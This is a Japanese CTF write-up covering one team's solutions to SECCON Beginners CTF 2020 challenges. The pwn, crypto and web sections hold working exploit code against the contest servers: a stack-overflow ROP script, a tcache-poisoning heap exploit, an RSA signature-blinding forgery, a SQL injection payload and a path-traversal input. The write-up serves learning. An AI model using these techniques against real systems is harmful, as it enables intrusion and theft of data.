SECCON Beginners CTF 2020 Writeup
はじめに
2020/05/23 14:00から2020/05/24 14:00まで開催されていたSECCON Beginners CTF 2020にチームTomatosaladとして参加しました。
最終順位は30位でした。Welcome問を解いたチームの数が962なので、その中での30位は個人的には満足のいく結果でした。 今までCTFはほぼボッチ勢だったので、今回もボッチだろうなと思っていたけど、友人が参加してくれたのでボッチは回避。ありがたやありがたや。
やっぱり、CTFは複数人でやるものだね。
閑話休題。以下に自分が解いた問題のWriteupを載せておきます。
Misc
Welcome
Discordに行くとフラグが書いてありました。それだけ。
emoemoencode
謎絵文字列が渡されます。どうしろっていうんだ。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
きっと、フラグの文字を固定値分ずらして、絵文字のコードポイントに持っていってるんだろうなと思い、 以下のソルバを書きました。
emo = open("emoemoencode.txt", "r").read()[:-1] rs = "" for e in emo: e = ord(e) - 127744 print(rs) rs += chr(e) print(rs)
127744
というのは、一文字目をc
(フラグはctf4b{
で始まるので)だと仮定したときに、例の絵文字の1バイト目から逆算した値です。
この値が全バイトに足されているという仮定のもとでのソルバです。
実行すると
$ python emoemo.py c ct ctf ctf4 ctf4b ctf4b{ ctf4b{s ctf4b{st ctf4b{ste ctf4b{steg ctf4b{stega ctf4b{stegan ctf4b{stegan0 ctf4b{stegan0g ctf4b{stegan0gr ctf4b{stegan0gra ctf4b{stegan0grap ctf4b{stegan0graph ctf4b{stegan0graphy ctf4b{stegan0graphy_ ctf4b{stegan0graphy_b ctf4b{stegan0graphy_by ctf4b{stegan0graphy_by_ ctf4b{stegan0graphy_by_e ctf4b{stegan0graphy_by_em ctf4b{stegan0graphy_by_em0 ctf4b{stegan0graphy_by_em00 ctf4b{stegan0graphy_by_em000 ctf4b{stegan0graphy_by_em0000 ctf4b{stegan0graphy_by_em00000 ctf4b{stegan0graphy_by_em000000 ctf4b{stegan0graphy_by_em000000j ctf4b{stegan0graphy_by_em000000ji ctf4b{stegan0graphy_by_em000000ji}
readme
以下のコードが渡されます。これが問題サーバ上で動いてるようです。
#!/usr/bin/env python3 import os assert os.path.isfile('/home/ctf/flag') # readme if __name__ == '__main__': path = input("File: ") if not os.path.exists(path): exit("[-] File not found") if not os.path.isfile(path): exit("[-] Not a file") if '/' != path[0]: exit("[-] Use absolute path") if 'ctf' in path: exit("[-] Path not allowed") try: print(open(path, 'r').read()) except: exit("[-] Permission denied")
フラグの場所は/home/ctf/flag
で、絶対パス & ctf
をパスに含めないという条件でパスを指定し、フラグを読みだせという問題です。
答えは/proc/self/cwd/../flag
procfsの中にcwdがあるなんて知らなかったよ…
Pwn
Beginner's Stack
問題サーバに接続すると、以下のようにスタックの状態が表示されます。
$ nc bs.quals.beginners.seccon.jp 9001 Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007fff26280f20 | 0x00007fd99a3b99a0 | <-- buf +--------------------+ 0x00007fff26280f28 | 0x0000000000000000 | +--------------------+ 0x00007fff26280f30 | 0x0000000000000000 | +--------------------+ 0x00007fff26280f38 | 0x00007fd99a5d2170 | +--------------------+ 0x00007fff26280f40 | 0x00007fff26280f50 | <-- saved rbp (vuln) +--------------------+ 0x00007fff26280f48 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007fff26280f50 | 0x0000000000400ad0 | <-- saved rbp (main) +--------------------+ 0x00007fff26280f58 | 0x00007fd999fd9b97 | <-- return address (main) +--------------------+ 0x00007fff26280f60 | 0x0000000000000001 | +--------------------+ 0x00007fff26280f68 | 0x00007fff26281038 | +--------------------+ Input:
更に渡されたバイナリを見るとwin
関数なるを見つけました。ははーん、さてはBOFでreturn addressをwin
関数のアドレスに書き換えるだけだな。
と思ったがそううまくは行かないらしい。単純に、return addressを書き換えるだけでは、win
関数内のチェックに引っかかるようです。
Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there! [*] Got EOF while reading in interactive
RSPレジスタを16の倍数にしないと行けないらしいですね。gdbでwin
関数内のチェック処理を覗いてみると、RSPが8の倍数になっていたようです。
適当なROPガジェットを挟んで、RSPを16の倍数にすればフラグゲットです。
以下ソルバ
from pwn import * # p = process("chall") p = remote("bs.quals.beginners.seccon.jp", 9001) ret_addr = 0x00400626 win_addr = 0x00400861 pld = b"AAAAAAAA" * 5 pld += p64(ret_addr) # fix alginment pld += p64(win_addr) with open("pld.bin", "wb") as f: f.write(pld) p.sendlineafter(b"Input: ", pld) p.interactive()
実行してみます。
$ python solve.py [ Address ] [ Stack ] +--------------------+ 0x00007ffdabd532e0 | 0x4141414141414141 | <-- buf +--------------------+ 0x00007ffdabd532e8 | 0x4141414141414141 | +--------------------+ 0x00007ffdabd532f0 | 0x4141414141414141 | +--------------------+ 0x00007ffdabd532f8 | 0x4141414141414141 | +--------------------+ 0x00007ffdabd53300 | 0x4141414141414141 | <-- saved rbp (vuln) +--------------------+ 0x00007ffdabd53308 | 0x0000000000400626 | <-- return address (vuln) +--------------------+ 0x00007ffdabd53310 | 0x0000000000400861 | <-- saved rbp (main) +--------------------+ 0x00007ffdabd53318 | 0x00007f7bfb935b0a | <-- return address (main) +--------------------+ 0x00007ffdabd53320 | 0x0000000000000001 | +--------------------+ 0x00007ffdabd53328 | 0x00007ffdabd533f8 | +--------------------+ Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Beginner's Heap
問題サーバに接続すると…
$ nc bh.quals.beginners.seccon.jp 9002 Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7f86f88b88e8 <win>: 0x56323727e465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint >
__free_hook
、tcache
...
完全にtcache poisoning
ですね。懇切丁寧にheapの状況やtcacheの状況を教えてくれるので、これをガイドに攻略しました。
以下ソルバ
from pwn import * p = remote("bh.quals.beginners.seccon.jp", 9002) """ 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint """ PROMPT = "hint\n> " p.recvuntil("<__free_hook>: ") __free_hook = int(p.recvline(), 16) p.recvuntil("<win>: ") win = int(p.recvline(), 16) def prompt(no): p.sendlineafter(PROMPT, no) def read(s): prompt("1") p.sendline(s) def alloc(s): prompt("2") p.sendline(s) def free(): prompt("3") def heap(): prompt("4") line = p.recvuntil("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-") print(line.decode('utf-8')) def tcache(): prompt("5") line = p.recvuntil("-=-=-=-=-=-=-=-=-=-=-=-=-=-=") print(line.decode('utf-8')) alloc("tomato") free() read(b"AAAAAAAA" * 4 + p64(__free_hook)) alloc("AAAABBBB") read(b"\x00\x00\x00\x00\x00\x00\x00\x00" * 3 + b"\x31\x00\x00\x00\x00\x00\x00\x00") free() alloc(p64(win)) # __free_hook = win free() # invoke __free_hook print(p.recvall()) p.close()
ステップとしては
- Bを確保&解放し、tcacheにつなげる
- A経由でBのメタデータ(nextメンバ)を改ざんし、__free_hookに向ける
- 再びBを確保する。確保後、tcache listの先頭は__free_hookを向くようになる
- A経由でBのメタデータ(sizeメンバ)を改ざんし、Bを解放する。sizeが改ざんされているので、Bは先程のtcache listとは違うlistにつながる
- mallocを呼んで領域を確保する。このとき、__free_hookのアドレスが返される
- __free_hookにwin関数のアドレスを格納する
- free関数を呼んで、__free_hook=win関数を実行する
ソルバを実行すると
$ python solve.py [+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done [+] Receiving all data: Done (57B) [*] Closed connection to bh.quals.beginners.seccon.jp port 9002 b'Congratulations!\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'
Crypto
R&B
rot13とbase64が繰り返し適用されたフラグを渡されます。先頭にrot13かbase64を識別できる文字が付与されているので、これを手がかりにフラグを復元する。
以下ソルバ
import codecs import base64 def rot13(s): return codecs.decode(s, 'rot13') def b64(s): return base64.b64decode(s.encode()).decode() f = open("encoded_flag", "r").read() ds = {'B': b64, 'R': rot13} while True: try: c = f[0] f = ds[c](f[1:]) except: break print(f)
実行すると
$ python solve.py ctf4b{rot_base_rot_base_rot_base_base}
Noisy equations
問題のコードを見ると
from os import getenv from time import time from random import getrandbits, seed FLAG = getenv("FLAG").encode() SEED = getenv("SEED").encode() L = 256 N = len(FLAG) def dot(A, B): assert len(A) == len(B) return sum([a * b for a, b in zip(A, B)]) coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)] seed(SEED) answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs] print(coeffs) print(answers)
式で表すと以下になりますね。
A = C * F + N A : answers C : coeffs (NxNの行列) N : 乱数のベクトル
サーバからはA
とC
とN
が与えられ、A
とC
は毎回変化します。N
がなければ、C
の逆行列を掛けるだけで終わりですが、この問題は以下のようにしてN
を消す必要があります。
A1 = C1 * F + N A2 = C2 * F + N ( - ------------------ (A1 - A2) = (C1 - C2) * F
あとは(C1 - C2)
の逆行列を両辺の左から掛けてあげると
F = (C1 - C2)^-1 * (A1 - A2)
こんな感じでフラグを計算できます。
sageのREPLで解いたので、ソルバが残っていませんでした。
フラグはこんな感じですね。
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}
RSA Calc
問題サーバにつなげると以下の2つのことができます。
文字列がサーバの想定する実行列(例: 1,2,+
)になっていれば、処理を実行して処理結果を出力できます。
例えば、1,2,+
だと、1と2をスタックにプッシュし、次に1と2をポップして足し合わせ、3をスタックにプッシュする。
最後に3を出力する。
フラグがほしい場合、1337,F
を署名し、実行してもらう必要がありますが、サーバ側ではF
と1337
を含む文字列を署名しないという処理になっています。
いきなりですが、ソルバです。
from pwn import * from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long N = 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133 e = 65537 p = remote("rsacalc.quals.beginners.seccon.jp", 10001) def sign(data): p.sendlineafter("> ", "1") p.sendlineafter("data> ", data) p.recvuntil("Signature: ") sig = int(p.recvline(), 16) return sig def exe(data, sig): p.sendlineafter("> ", "2") p.sendlineafter("data> ", data) p.sendlineafter("signature> ", sig) def exit(): p.sendlineafter("> ", "3") m = bytes_to_long(b"1337,F") x = pow(N - 1, e, N) y = (x * m) % N sig = sign(long_to_bytes(y)) md = (inverse(N - 1, N) * sig) % N exe("1337,F", hex(md)[2:]) print(p.recv()) p.close()
以下軽い解説ですが、すべてN
を法としたときの演算であることに注意してください。
1337,F
をm
とすると、まず、(N - 1)^e * m
を署名してもらいます。ここで、(N - 1)^e * m
には1337
とF
が直接的に含まれてないので、サーバはRSA署名を計算してくれることに注意してください。
そうすると、(N - 1)^ed * m^d
をもらえますね。ここで、(N - 1)^ed
はN - 1
になるので、我々は(N - 1) * m^d
を手にいれたわけです。
これに(N - 1)
の逆元を掛けると(N - 1)^-1 * (N - 1) * m^d = m^d
というふうに1337,F
のRSA署名を手に入れることができます。
やったね。これで、フラグを表示させることができます。
ソルバを実行すると
$ python solve.py [+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done b'ctf4b{SIgn_n33ds_P4d&H4sh}\nError\n' [*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001
Web
Tweetstore
サーバのソースコードを見ると
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
みたいな感じでSQLiができることがわかります。
また、以下の部分からフラグはDBユーザの名前、使用しているDBはPostgreSQLであることがわかります。
func initialize() { var err error dbname := "ctf" dbuser := os.Getenv("FLAG") dbpass := "password" connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname) db, err = sql.Open("postgres", connInfo) if err != nil { log.Fatal(err) } }
あとは頑張るだけです。色々試した結果、search wordに以下を入力するとフラグを入手できます。
\' AND 1=2 union select chr(65), user, now() --
フラグは
ctf4b{is_postgres_your_friend?}
profiler
ID/Passwordをadmin/adminにしてログインするとフラグをゲットできたんだが、何だったんだ。 想定解はGraphQL Injectionらしい。後で勉強しておこう…
Reversing
mask
- 0x75とANDするとatd4`qdedtUpetepqeUdaaeUeaqauになる
- 0xebとANDするとc`b bk`kj`KbababcaKbacaKiackiになる
こんな文字列をお探しらしい。
以下ソルバ
e1 = "atd4`qdedtUpetepqeUdaaeUeaqau" e2 = "c`b bk`kj`KbababcaKbacaKiacki" rs = "" for a, b in zip(e1, e2): a = ord(a) b = ord(b) rs += chr(a | b) print(rs)
実行すると
$ python solve.py ctf4b{dont_reverse_face_mask}
yakisoba
ユーザの入力がフラグであるか否かチェックするプログラムを渡されますが、Binary Ninjaに食わせてみるとこんなものが…
ヒントに書いてある通り、自動化するしかなさそうですね…
実行ファイルの自動解析といえばangr、てなわけでangrを使ってソルバを書くとささっと解いてくれました。強い。
import angr p = angr.Project("./yakisoba", auto_load_libs=False) main_addr = 0x400000 + 0x00000680 init_state = p.factory.blank_state(addr=main_addr) sim = p.factory.simulation_manager(init_state) find = ( 0x400000 + 0x000006d2, ) avoid = ( 0x400000 + 0x000006f7, ) sim.explore(find=find, avoid=avoid) if len(sim.found) > 0: found = sim.found[0] print(found.posix.dumps(0))
実行すると
$ python solve.py WARNING | 2020-05-24 19:34:27,446 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2020-05-24 19:34:27,467 | angr.state_plugins.symbolic_memory | Filling register rbp with 8 unconstrained bytes referenced from 0x400680 (PLT.__cxa_finalize+0x10 in yakisoba (0x680)) WARNING | 2020-05-24 19:34:27,470 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x400681 (PLT.__cxa_finalize+0x11 in yakisoba (0x681)) WARNING | 2020-05-24 19:34:28,721 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x400828 (PLT.__cxa_finalize+0x1b8 in yakisoba (0x828)) WARNING | 2020-05-24 19:34:28,811 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x400881 (PLT.__cxa_finalize+0x211 in yakisoba (0x881)) b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'
ghost
PostScriptのコードを渡され解読する問題です。
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
「PostScriptわかんないよぉ…」て言いながら解析しました。もう二度とPostScriptのコードは読みたくないです。 この方の「PostScript 基礎文法最速マスター」って記事がなければきっと諦めてました。
以下ソルバです。脳筋全探索で解けました。
import string want = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094] def brute(inp): internal_state = 1 for i, c in enumerate(inp): s = (ord(c) ^ (i + 1)) * internal_state output = 1 for j in range(463): output = (output * s) % 64711 if output != want[i]: return False internal_state = (output % 128) + 1 return True r = "" for i in range(len(want)): for c in string.printable: if brute(r + c): r += c break print(r)
実行すると
$ python solve.py ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
おわりに
こんなに真面目にCTFに取り組んだのいつ以来だろう…やっぱり、チームメイトがいるとやる気が続きますね。 一人だとすぐ飽きてたと思います。次はもっと大所帯でCTFに参加したいですね。